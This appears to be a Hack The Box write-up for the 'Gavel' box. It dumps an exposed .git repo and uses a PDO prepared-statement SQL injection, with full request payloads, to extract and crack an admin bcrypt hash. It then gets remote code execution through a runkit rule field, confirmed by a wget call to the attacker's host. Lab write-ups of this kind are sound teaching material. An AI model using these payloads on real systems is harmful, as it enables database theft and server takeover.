> ## Documentation Index
> Fetch the complete documentation index at: https://hackwithmike.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Gavel (Medium) - HTB

> Linux | Released on 29th November, 2025 | Created by Shadow21A

## Starting the box

***

<img src="https://mintcdn.com/hackwithmike/a1Ajnby1lAXa62Dj/assets/images/htb/gavel/pwned.png?fit=max&auto=format&n=a1Ajnby1lAXa62Dj&q=85&s=a0d04c556205256cc5b7472bd18caad5" noZoom width="851" height="818" data-path="assets/images/htb/gavel/pwned.png" />

Link to the box: [https://app.hackthebox.com/machines/gavel](https://app.hackthebox.com/machines/gavel)

### Port Scan

We start off the box by running a port scan on the provided IP.

```sh title="Attacker Linux" icon="linux" theme={null}
rustscan --ulimit 5000 -a 10.129.183.7 -r 1-65535 -- -A -vvv -oN Gavel
```

Output of Rustscan

```text title="Terminal Output" icon="file-lines" theme={null}
Open 10.129.183.7:22
Open 10.129.183.7:80
```

Output of Nmap:

```text title="Terminal Output" icon="file-lines" theme={null}
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN/Hhg1nYlWGdi109d6k/OXFg0xbLVuEho3xQqX/DkRDPQ5Y9P6l2XLkbsSscgiQIq3/bHeX6T4mLci0/I/kHeI=
|   256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMYFumAaeF6fOwurP+3zFG7iyLB1XC40te7RWDNVze0x

80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://gavel.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router

Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
```

A few key notes:

* Port 22: Running SSH.
* Port 80: Web server redirect to [http://gavel.htb](http://gavel.htb)

### Edit the Hosts file

As always, we edit the `/etc/hosts` file to add the hostname:

```sh title="Attacker Linux" icon="linux" theme={null}
sudo nano /etc/hosts
```

/etc/hosts

```text title="Nano Interface" icon="file-lines" theme={null}
10.129.183.7 gavel.htb
```

## Initial Foothold

***

### Enumerating Port 80: Web Server

#### Subdomain Enumeration

We first run a quick vhost brute-force to look for potential subdomains.

##### GoBuster (vhost):

We will brute-force the sub-domains using GoBuster's vhost mode.

```text title="Attacker Linux" icon="linux" theme={null}
┌──(kali㉿kali)-[~/Desktop/HTB/s9/Gavel]
└─$ gobuster vhost -u http://10.129.183.7 -t 500 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain --domain gavel.htb -xs 301
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://10.129.183.7
[+] Method:                    GET
[+] Threads:                   500
[+] Wordlist:                  /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:                gobuster/3.8
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
...
Progress: 114442 / 114442 (100.00%)
===============================================================
Finished
===============================================================
```

* There are only error responses, no valid subdomains are listed.

#### Directing Busting

We will first run a quick directory enumeration with Feroxbuster.

##### Feroxbuster:

```text title="Attacker Linux" icon="linux" theme={null}
┌──(kali㉿kali)-[~/Desktop/HTB/s9/Gavel]
└─$ feroxbuster -u http://gavel.htb -C 404

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://gavel.htb/
 🚩  In-Scope Url          │ gavel.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 💢  Status Code Filters   │ [404]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
```

Key output:

```text title="Terminal Output" icon="file-lines" theme={null}
...
200      GET      102l      397w     3798c http://gavel.htb/assets/items.json
200      GET       78l      213w     4281c http://gavel.htb/login.php
200      GET       84l      301w     4485c http://gavel.htb/register.php
200      GET      222l     1044w    14062c http://gavel.htb/index.php
...
200      GET      222l     1034w    13957c http://gavel.htb/
301      GET        9l       28w      306c http://gavel.htb/rules => http://gavel.htb/rules/
[####################] - 2m     90098/90098   0s      found:46      errors:17
[####################] - 2m     30000/30000   285/s   http://gavel.htb/
[####################] - 2m     30000/30000   280/s   http://gavel.htb/includes/
...
[####################] - 0s     30000/30000   187500/s http://gavel.htb/assets/ => Directory listing (add --scan-dir-listings to scan)
...
```

* Filtered all static images & files from `/assets` folder.

##### DirSearch:

Running another tool just to be sure we are not missing anything important:

```text title="Attacker Linux" icon="linux" theme={null}
┌──(kali㉿kali)-[~/Desktop/HTB/s9/Gavel]           
└─$ dirsearch -x 404 -u http://gavel.htb                       

  _|. _ _  _  _  _ _|_    v0.4.3    
 (_||| _) (/_(_|| (_| )             

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Desktop/HTB/s9/Gavel/reports/http_gavel.htb/_25-11-29_20-54-47.txt

Target: http://gavel.htb/

[20:54:47] Starting: 
[20:54:54] 301 -  305B  - /.git  ->  http://gavel.htb/.git/
...
```

* Aha. We found `.git` that are missing from the default wordlist of Feroxbuster.
* Before we check the `.git` directory, let's first manually enumerate the website.

### Enumerating the webpage

[http://gavel.htb](http://gavel.htb)
This is an auction site with user registration & login functionality.

#### Manual Enumeration

##### register.php:

[http://gavel.htb/register.php](http://gavel.htb/register.php)
We will register a user with the following credentials:

```
user1:password
```

##### login.php:

[http://gavel.htb/login.php](http://gavel.htb/login.php)
We now login with the newly registered credentials, and we are redirected back to [http://gavel.htb/index.php](http://gavel.htb/index.php).

##### index.php:

[http://gavel.htb/index.php](http://gavel.htb/index.php):
A quick check on the cookie `gavel_session` reveals that the `HttpOnly` flag is on, meaning that we will not be able grab the token from attacks like XSS.

We now have access to the following new pages:

* /inventory.php, and
* /bidding.php

##### bidding.php:

[http://gavel.htb/bidding.php](http://gavel.htb/bidding.php)
We can submit bids to the bidding items. A bid is submitted via a POST request to the `/includes/bid_handler.php`. A success or error message in JSON will be returned. Once the bidding time has passed, the page will refresh, and the user has the highest bid will have that item in the `inventory.php` page.

For each bidding item, there is also a specific bidding rule. For example, some item may require **Bid at least 10% more than the current price**, whereas some may ask for **Bids must be in multiples of 5. Your account balance must cover the bid amount**, etc.

So far we have understood the basic functionalities of the application. Let's move on to the exposed `.git` directory to look for potential source code files.

### Enumerating `.git` directory

We can use this handy tool, [git-dumper](https://github.com/arthaud/git-dumper), to easily dump the whole git repository from a website.

```text title="Attacker Linux" icon="linux" theme={null}
┌──(kali㉿kali)-[~/Desktop/HTB/s9/Gavel]
└─$ git-dumper http://gavel.htb ./gavel.htb
[-] Testing http://gavel.htb/.git/HEAD [200]
[-] Testing http://gavel.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://gavel.htb/.gitignore [404]
[-] http://gavel.htb/.gitignore responded with status code 404
[-] Fetching http://gavel.htb/.git/ [200]
...
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 1849 paths from the index
```

#### Git Commit Review

We can run the `git log` command to check the commit history:

```text title="Attacker Linux" icon="linux" theme={null}
┌──(kali㉿kali)-[~/…/HTB/s9/Gavel/gavel.htb]
└─$ git log                                                                                   
commit f67d90739a31d3f9ffcc3b9122652b500ff2a497 (HEAD -> master)
Author: sado <sado@gavel.htb>
Date:   Fri Oct 3 18:38:02 2025 +0000

    ..

commit 2bd167f52a35786a5a3e38a72c63005fffa14095
Author: sado <sado@gavel.htb>
Date:   Fri Oct 3 18:37:10 2025 +0000

    .

commit ff27a161f2dd87a0c597ba5638e3457ac167c416
Author: sado <sado@gavel.htb>
Date:   Sat Sep 20 13:12:15 2025 +0000
```

To check the difference between the first and last commit, we can run the `git diff` command:

```text title="Attacker Linux" icon="linux" theme={null}
┌──(kali㉿kali)-[~/…/HTB/s9/Gavel/gavel.htb]
└─$ git diff ff27a161f2dd87a0c597ba5638e3457ac167c416 f67d90739a31d3f9ffcc3b9122652b500ff2a497
diff --git a/rules/default.yaml b/rules/default.yaml
index a5bef05..1b3660f 100755
--- a/rules/default.yaml
+++ b/rules/default.yaml
@@ -5,11 +5,5 @@ rules:
   - rule: "return $current_bid % 5 == 0;"
     message: "Bids must be in multiples of 5. Your account balance must cover the bid amount."
 
-  - rule: "return strlen($bidder) % 2 == 0;"
-    message: "Bidding is restricted to users with an even-numbered username."
-
-  - rule: "return strlen($bidder) % 2 == 1;"
-    message: "Bidding is restricted to users with an odd-numbered username."
-
   - rule: "return $current_bid >= $previous_bid + 5000;"
-    message: "Only bids greater than 5000 will be considered. Ensure you have sufficient balance before placing such bids."
+    message: "Only bids greater than 5000 + current bid will be considered. Ensure you have sufficient balance before placing such bids."^M
```

* Only the `default.yaml` has been changed.
* There are no deleted / removed credentials.

#### Source Code Review

We can now enumerate the source code of the website.

```text title="Attacker Linux" icon="linux" theme={null}
┌──(kali㉿kali)-[~/…/HTB/s9/Gavel/gavel.htb]
└─$ ls -la                        
total 96
drwxrwxr-x 6 kali kali  4096 Nov 29 21:27 .
drwxrwxr-x 4 kali kali  4096 Nov 29 21:26 ..
-rwxrwxr-x 1 kali kali  8820 Nov 29 21:27 admin.php
drwxrwxr-x 6 kali kali  4096 Nov 29 21:27 assets
-rwxrwxr-x 1 kali kali  8441 Nov 29 21:27 bidding.php
drwxrwxr-x 7 kali kali  4096 Nov 29 21:27 .git
drwxrwxr-x 2 kali kali  4096 Nov 29 21:27 includes
-rwxrwxr-x 1 kali kali 14520 Nov 29 21:27 index.php
-rwxrwxr-x 1 kali kali  8384 Nov 29 21:27 inventory.php
-rwxrwxr-x 1 kali kali  6408 Nov 29 21:27 login.php
-rwxrwxr-x 1 kali kali   161 Nov 29 21:27 logout.php
-rwxrwxr-x 1 kali kali  7058 Nov 29 21:27 register.php
drwxrwxr-x 2 kali kali  4096 Nov 29 21:27 rules
```

##### .git/config:

```text title="Attacker Linux" icon="linux" theme={null}
┌──(kali㉿kali)-[~/…/HTB/s9/Gavel/gavel.htb]
└─$ cat .git/config 
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[user]
        name = sado
        email = sado@gavel.htb
```

* A username: `sado`.

##### includes/config.php:

```text title="Attacker Linux" icon="linux" theme={null}
┌──(kali㉿kali)-[~/…/HTB/s9/Gavel/gavel.htb]
└─$ cat includes/config.php 
<?php

define('DB_HOST', 'localhost');
define('DB_NAME', 'gavel');
define('DB_USER', 'gavel');
define('DB_PASS', 'gavel');

define('ROOT_PATH', dirname(__DIR__));

$basePath = rtrim(dirname($_SERVER['SCRIPT_NAME']), '/');
define('BASE_URL', $basePath);
define('ASSETS_URL', $basePath . '/assets');
```

A few key notes:

* Database is running locally on the web server.
* The Database name, user and password are all `gavel`.
* From `db.php`, we can know that it is running on MySQL.

### Identifying vulnerable functions

#### Locating function vulnerable to RCE

##### includes/bid\_handler.php:

After diving deep into the code, we notice the following function uses `runkit`:

```php title="PHP snippet" icon="file-lines" theme={null}
...
$current_bid = $bid_amount;
$previous_bid = $auction['current_price'];
$bidder = $username;

$rule = $auction['rule'];
$rule_message = $auction['message'];

$allowed = false;

try {
    if (function_exists('ruleCheck')) {
        runkit_function_remove('ruleCheck');
    }
    runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
    error_log("Rule: " . $rule);
    $allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
    error_log("Rule error: " . $e->getMessage());
    $allowed = false;
}
...
```

* With some research, we note that `runkit` is a PHP extension that allow users to create user-defined functions & classes.

In particular, the `runkit_function_add` function allows users to create a new function that will run `eval()` in the background on the provided code.

> [PHP: runkit7\_function\_add - Manual](https://www.php.net/manual/en/function.runkit7-function-add.php)
>
> * runkit7\_function\_add — Add a new function, similar to [create\_function()](https://www.php.net/manual/en/function.create-function.php)

> [PHP: create\_function - Manual](https://www.php.net/manual/en/function.create-function.php)
>
> * create\_function — Create a function dynamically by evaluating a string of code
> * This function internally performs an [eval()](https://www.php.net/manual/en/function.eval.php) and as such has the same security issues as [eval()](https://www.php.net/manual/en/function.eval.php). It also has bad performance and memory usage characteristics, because the created functions are global and can not be freed.

This function takes the following arguments:

```php title="PHP snippet" icon="file-lines" theme={null}
runkit7_function_add(
    string $function_name,
    string $argument_list,
    string $code,
    bool $return_by_reference = null,
    string $doc_comment = null,
    string $return_type = ?,
    bool $is_strict = ?
): bool
```

* The first argument takes the function name.
* The second argument takes the list of arguments for this function.
* The third argument takes the PHP codes to run.

Comparing to our code snippet:

```php title="PHP snippet" icon="file-lines" theme={null}
runkit_function_add(
	'ruleCheck', 
	'$current_bid, $previous_bid, $bidder', 
	$rule
);
```

* We can see that the function is taking the `$rule` variable as the codes to be executed.
* The `$rule` value is set by `$rule = $auction['rule'];`

The `$auction` value is set by fetching data from the database:

```php title="PHP snippet" icon="file-lines" theme={null}
$stmt = $pdo->prepare("SELECT * FROM auctions WHERE id = ?");
$stmt->execute([$auction_id]);
$auction = $stmt->fetch();
```

##### rules/default.yaml:

The example rules can be seen in `rules/default.yaml`. The `rule` values are written in PHP codes.

```yaml title="rules/default.yaml" icon="file-lines" theme={null}
rules:
  - rule: "return $current_bid >= $previous_bid * 1.1;"
    message: "Bid at least 10% more than the current price."

  - rule: "return $current_bid % 5 == 0;"
    message: "Bids must be in multiples of 5. Your account balance must cover the bid amount."

  - rule: "return $current_bid >= $previous_bid + 5000;"
    message: "Only bids greater than 5000 + current bid will be considered. Ensure you have sufficient balance before placing such bids."

```

##### admin.php:

From the codes, we learn that the rules can be updated from the admin panel. Therefore, the goal here is to escalate ourselves into application admin (auctioneer role) first.

```php title="PHP snippet" icon="file-lines" theme={null}
...
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $auction_id = intval($_POST['auction_id'] ?? 0);
    $rule = trim($_POST['rule'] ?? '');
    $message = trim($_POST['message'] ?? '');

    if ($auction_id > 0 && (empty($rule) || empty($message))) {
        $stmt = $pdo->prepare("SELECT rule, message FROM auctions WHERE id = ?");
        $stmt->execute([$auction_id]);
        $row = $stmt->fetch(PDO::FETCH_ASSOC);
        if (!$row) {
            $_SESSION['success'] = 'Auction not found.';
            header('Location: admin.php');
            exit;
        }
        if (empty($rule))    $rule = $row['rule'];
        if (empty($message)) $message = $row['message'];
    }

    if ($auction_id > 0 && $rule && $message) {
        $stmt = $pdo->prepare("UPDATE auctions SET rule = ?, message = ? WHERE id = ?");
        $stmt->execute([$rule, $message, $auction_id]);
        $_SESSION['success'] = 'Rule and message updated successfully!';
        header('Location: admin.php');
        exit;
    }
}
...
```

#### Locating function vulnerable to SQLi

##### inventory.php:

After some more deep diving, we notice the user input `user_id` in the sorting function in `inventory.php` is not validated and sanitized at all.

```php title="PHP snippet" icon="file-lines" theme={null}
...
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
    if ($sortItem === 'quantity') {
        $stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
        $stmt->execute([$userId]);
    } else {
        $stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
        $stmt->execute([$userId]);
    }
    $results = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) {
    $results = [];
}
...
```

* While prepared statement is in-use, and the `$sortItem` value from user input is sanitized by replacing the backticks, the `$userId` was missed out for validation.

Also, we can see that the `$results` (column data) are simply all fetched and returned directly in the `$name` variable, which is visible to the user in the item cards.

```php title="PHP snippet" icon="file-lines" theme={null}
...
foreach ($results as $row) {
    $firstKey = array_keys($row)[0];
    $name = $row['item_name'] ?? $row[$firstKey] ?? null;
    if (!$name) {
        continue;
    }
    $meta = [];
    try {
        $itemMeta->execute([$name]);
        $meta = $itemMeta->fetch(PDO::FETCH_ASSOC);
    } catch (Exception $e) {
        $meta = [];
    }
    $itemMap[$name] = [
        'name' => $name ?? "",
        'description' => $meta['description'] ?? "",
        'image' => $meta['image'] ?? "",
        'quantity' => $row['quantity'] ?? (is_numeric($row[$firstKey]) ? $row[$firstKey] : 1)
    ];
}
...
```

##### Breaking out the Prepared Statement in PHP:

Normally, prepared statements prevent SQL injections by separating query and data for the database. Conceptually, it splits the query into 2 phases:

1. **Prepare** - Defining Query Structure. The database will first receive a "prepared statement", which is a pre-defined SQL query with the required data being replaced by placeholders (`?`). The database will then parse & ready to execute this query.
2. **Execute** - Supplying Data. User-supplied values are then sent to the database as literal strings. The database will not re-parse the received strings as SQL.

```php title="PHP snippet" icon="file-lines" theme={null}
# Stage 1: Prepare
$stmt = $pdo->prepare(
    "SELECT id FROM users WHERE username = ?"
);
# Stage 2: Execute
$stmt->execute([$username]);
```

However, placeholders (`?`) (or bound parameters) in prepared statements can only parameterize values, not database identifiers, such as column names, table names, etc., since they will be interpreted as literal text.

To allow user-supplied database identifiers in prepared statement, we will have to concatenate the identifier to the statement, similar to the implementation in the above codes. However, to do this safely, either a whitelist approach (validate against a list of allowed identifiers), or heavy sanitization has to be performed

```php title="PHP snippet" icon="file-lines" theme={null}
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
```

### Exploiting SQLi in PHP PDO Prepared Statement

#### Identifying the SQLi vulnerability

After some research, from the article [Novel SQL Injection Technique in PDO Prepared Statements](https://slcyber.io/research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements/), we learn that PDO emulates all prepared statements in MySQL by default, unless if the `PDO::ATTR_EMULATE_PREPARES` attribute is explicitly set as false. PDO will run its own SQL parser to escape strings and build the prepared statement, and it then sends the parsed full SQL statement to the database.

This opens an attack vector towards SQLi - if we can trick the PDO parser into mis-parsing our input, we can potentially smuggle in our query.

First, we can check if the attribute is enabled by checking `db.php`. Since `PDO::ATTR_EMULATE_PREPARES` is not explicitly called, we can assume that it is set to true by default.

```php title="PHP snippet" icon="file-lines" theme={null}
<?php
require_once __DIR__ . '/config.php';
try {
    $pdo = new PDO("mysql:host=" . DB_HOST . ";dbname=" . DB_NAME, DB_USER, DB_PASS);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $pdo->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, true);
} catch (PDOException $e) {
    die("Database connection failed.");
}
```

In `inventory.php`, we can see that there is only little sanitization on the `$col` user input, and there is no sanitization in `$userId`. Only the backticks are removed from `$sortItem`.

```php title="PHP snippet" icon="file-lines" theme={null}
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
```

Based on the techniques shared in the above [article](https://slcyber.io/research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements/), we can identify the following vulnerable injection point. We can see that `$col` is being directly concatenated into the query.

```php title="PHP snippet" icon="file-lines" theme={null}
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
        $stmt->execute([$userId]);
```

* If we can smuggle in a bound parameter (`?`), and supply our malicious payload via the non-validated `$user_id` parameter, we can trick PDO into parsing the malicious payload into the `$col` position, and construct a functional SQL query.

According to the article, we can sneak in the bound parameter (`?`) in `$col` simply by having it followed by a null byte (`%00` or `\0`). This breaks the parsing logic for the second backtick, and it will ignore the first backtick with the `SKIP_ONE(PDO_PARSER_TEXT)` parsing logic for special characters. This thus makes the PDO parser sees the `?` as a legit bound parameter, since the backticks are ignored. We can see the PDO parsing logic here: [php-src/ext/pdo\_mysql/mysql\_sql\_parser.re at master · php/php-src](https://github.com/php/php-src/blob/master/ext/pdo_mysql/mysql_sql_parser.re).

```php title="PHP snippet" icon="file-lines" theme={null}
$col = `?%00`
```

* The article also mentioned that null byte is not even necessary for older versions of PHP to pull off this attack.
* I personally find that the null byte (`%00`) does not matter at all here, as long as there is a comment operator following the `?`, i.e. `?--`.

Now, anything in `$userId` will be placed into the first `?` in the query:

```mysql title="SQL Query" icon="file-lines" theme={null}
SELECT `?--%00`
FROM inventory 
WHERE user_id = ? 
ORDER BY item_name ASC
```

Say if `$userId` = `x`:

```mysql title="SQL Query" icon="file-lines" theme={null}
SELECT `'x'--%00`
FROM inventory 
WHERE user_id = ? 
ORDER BY item_name ASC
```

* The parser should return a syntax error on the first line, since the second backtick is corrupted / disabled, causing the backtick not closing properly.

We can close it by adding a backtick after our `$userId` value - ``x`;--``, with the semicolon & comment to close off the remaining part of the query.

```mysql title="SQL Query" icon="file-lines" theme={null}
SELECT `'x`;--'--%00`
FROM inventory 
WHERE user_id = ? 
ORDER BY item_name ASC
```

* Now, this is a correctly parsed statement, and MySQL will interpret `'x` as a column name.
* Again from my attempts, I notice that the comment operator (`--`) after the semicolon does not matter at all (the one in `$userId`). However, the one after `?` (in `$col`) must be present to make the payload work.

Since we can make MySQL interpret `'x` as a column name, now we just need to create a subquery and name the resulting table as `'x`. Something like this:

```mysql title="SQL Query" icon="file-lines" theme={null}
SELECT `'x` FROM (SELECT version() AS `'x`) AS y;--'--%00`
FROM inventory 
WHERE user_id = ? 
ORDER BY item_name ASC
```

* The alias `AS y` is required for a sub-query to be performed within the main query.

However, directly injecting this payload is not possible, since the single quote (`'`) will be escaped by PDO by adding a backslash (`\'`). The data part is parsed into a string that is wrapped between 2 single quotes before constructing the full SQL query. Therefore, sending over `'x`, will result in `'\'x'` in PDO's parsing logic.

The trick here is to simply make our resulting column name into `\'x` by adding a backslash before the `?`, which makes the resulting payload looks like this:

```text title="Payload" icon="file-lines" theme={null}
\?--%00
```

The PDO parser will take in the `$userId` value ``x` ... ;--``, and place it into `?`, which makes the resulting column name as `\'x`.

```mysql title="SQL Query" icon="file-lines" theme={null}
SELECT `\'x` FROM (SELECT version() AS `\'x`) AS y;--'--
FROM inventory 
WHERE user_id = ? 
ORDER BY item_name ASC
```

* This is the final working SQL injection payload.

We can validate this by sending over the payload:

```text title="HTTP Request" icon="file-lines" theme={null}
POST /inventory.php HTTP/1.1
...
user_id=x` FROM (SELECT version() AS `'x`) AS y;--&sort=\?--%00
```

* `user_id` is where our malicious query lies.
* `sort` is what would become `$col` in the query.

The response:

```html title="HTTP Response" icon="file-lines" theme={null}
...
<h5 class="card-title">
	<strong>8.0.43-0ubuntu0.22.04.2</strong>
</h5>
...
```

#### Exploiting SQLi for Credentials

Let's query what databases are present:

```text title="HTTP Request" icon="file-lines" theme={null}
POST /inventory.php HTTP/1.1
...
user_id=x` FROM (SELECT schema_name AS `'x` FROM information_schema.schemata) AS y;--&sort=\?--%00
```

* Note that the `` AS `'x` `` should be placed after the column (here `schema_name`), for aliasing the resulting table as `` `'x` ``.

The response:

```html title="HTTP Response" icon="file-lines" theme={null}
<h5 class="card-title"><strong>information_schema</strong></h5><hr>
...
<h5 class="card-title"><strong>performance_schema</strong></h5><hr>
...
<h5 class="card-title"><strong>gavel</strong></h5><hr>
```

* There is a custom database `gavel`.

Let's list the tables from gavel:

```text title="HTTP Request" icon="file-lines" theme={null}
POST /inventory.php HTTP/1.1
...
user_id=x` FROM (SELECT table_name AS `'x` FROM information_schema.tables WHERE table_schema = 'gavel') AS y;&sort=\?--
```

* For some reason, the `WHERE` clause did not work.

Listing all tables worked:

```text title="HTTP Request" icon="file-lines" theme={null}
user_id=x` FROM (SELECT table_name AS `'x` FROM information_schema.tables) AS y;&sort=\?--
```

Some of the outputs. The `users` table is likely valuable.

```html title="HTTP Response" icon="file-lines" theme={null}
<h5 class="card-title"><strong>auctions</strong></h5><hr>
...
<h5 class="card-title"><strong>inventory</strong></h5><hr>
...
<h5 class="card-title"><strong>items</strong></h5><hr>
...
<h5 class="card-title"><strong>users</strong></h5><hr>
...
```

Similarly, the `WHERE` clauses for column name is not working, therefore we have to list all columns from all tables:

```text title="HTTP Request" icon="file-lines" theme={null}
user_id=x` FROM (SELECT column_name AS `'x` FROM information_schema.columns) AS y;&sort=\?--
```

Some of the outputs that are likely from the `users` table:

```html title="HTTP Response" icon="file-lines" theme={null}
<h5 class="card-title"><strong>username</strong></h5><hr>
...
<h5 class="card-title"><strong>password</strong></h5><hr>
...
<h5 class="card-title"><strong>role</strong></h5>
```

We can then try to extract the credentials using the following payload:

```text title="HTTP Request" icon="file-lines" theme={null}
user_id=x` FROM (SELECT username AS `'x` FROM gavel.users) AS y;&sort=\?--
```

The response:

```html title="HTTP Response" icon="file-lines" theme={null}
<h5 class="card-title"><strong>auctioneer</strong></h5>
...
<h5 class="card-title"><strong>user1</strong></h5>
```

* The admin username is just `auctioneer`, which is the same name as the role.

Checking the password. We can use the `CONCAT` function in MySQL to return two columns in one string.

```text title="HTTP Request" icon="file-lines" theme={null}
user_id=x` FROM (SELECT CONCAT (username, password) AS `'x` FROM gavel.users) AS y;&sort=\?--
```

The response:

```html title="HTTP Response" icon="file-lines" theme={null}
...
<h5 class="card-title"><strong>auctioneer$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS</strong></h5>
...
```

#### Cracking Password Hashes with Hashcat

Starting from the configuration password hash, let's check if it is crackable.

```text title="Password Hash" icon="file-lines" theme={null}
$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS
```

We'll use hashcat's auto-detect mode to determine its hash type. We'll start from mode 3200.

```text title="Attacker Windows" icon="windows" theme={null}
.\hashcat hash.txt
...
The following 5 hash-modes match the structure of your input hash:

      # | Name                                                       | Category
  ======+============================================================+======================================
   3200 | bcrypt $2*$, Blowfish (Unix)                               | Operating System
  25600 | bcrypt(md5($pass)) / bcryptmd5                             | Forums, CMS, E-Commerce
  25800 | bcrypt(sha1($pass)) / bcryptsha256                         | Forums, CMS, E-Commerce
  30600 | bcrypt(sha256($pass)) / bcryptsha256                       | Forums, CMS, E-Commerce
  28400 | bcrypt(sha512($pass)) / bcryptsha512                       | Forums, CMS, E-Commerce
```

Using mode 3200 on the hash, and it is successfully cracked.

```text title="Attacker Windows" icon="windows" theme={null}
.\hashcat -m 3200 hash.txt rockyou.txt
...
$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS:midnight1
```

We can now login to the application with the following credentials:

```text title="Credentials" icon="file-lines" theme={null}
auctioneer:midnight1
```

* Since the password is very weak, it is also possible that we can simply brute-force our way into the application.

### Exploiting RCE vulnerability in PHP Runkit

#### Command Injection via Admin Panel

[http://gavel.htb/admin.php](http://gavel.htb/admin.php)
With the newly obtained credentials, we can now access the `admin.php` panel, which we have previously identified to be the injection point for the RCE vulnerability in `includes/bid_handler.php`.

The auction rules & messages can be updated via the following `POST` request:

```text title="HTTP Request" icon="file-lines" theme={null}
POST /admin.php HTTP/1.1
...
auction_id=1045&rule=&message=
```

We will first send a simple `wget` request to see if we can use the `system` function to execute system commands:

```text title="HTTP Request" icon="file-lines" theme={null}
POST /admin.php HTTP/1.1
...
auction_id=1066&rule=system("wget 10.10.14.32");&message=system("wget 10.10.14.32")
```

Then, on [http://gavel.htb/bidding.php](http://gavel.htb/bidding.php), we will place a bid on the corresponding auction item to trigger the custom function created by runkit:

```text title="HTTP Request" icon="file-lines" theme={null}
POST /includes/bid_handler.php HTTP/1.1
...
------WebKitFormBoundary1S87exBekLWA5xyd
Content-Disposition: form-data; name="auction_id"
1066
------WebKitFormBoundary1S87exBekLWA5xyd
Content-Disposition: form-data; name="bid_amount"
1234
------WebKitFormBoundary1S87exBekLWA5xyd--
```

* May require a few clicks on the button.

We received the following responses from the server:

```json title="HTTP Response" icon="file-lines" theme={null}
HTTP/1.1 200 OK
...
{"success":false,"message":"system(\"wget 10.10.14.32\");"}
```

At the same time, we received a call back on our controlled web server, indicating that RCE with the `system()` function is possible.

```text title="Attacker Linux" icon="linux" theme={null}
┌──(kali㉿kali)-[~/Desktop/HTB/s9/Gavel]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.183.7 - - [30/Nov/2025 10:17:08] "GET / HTTP/1.1" 200 -
```

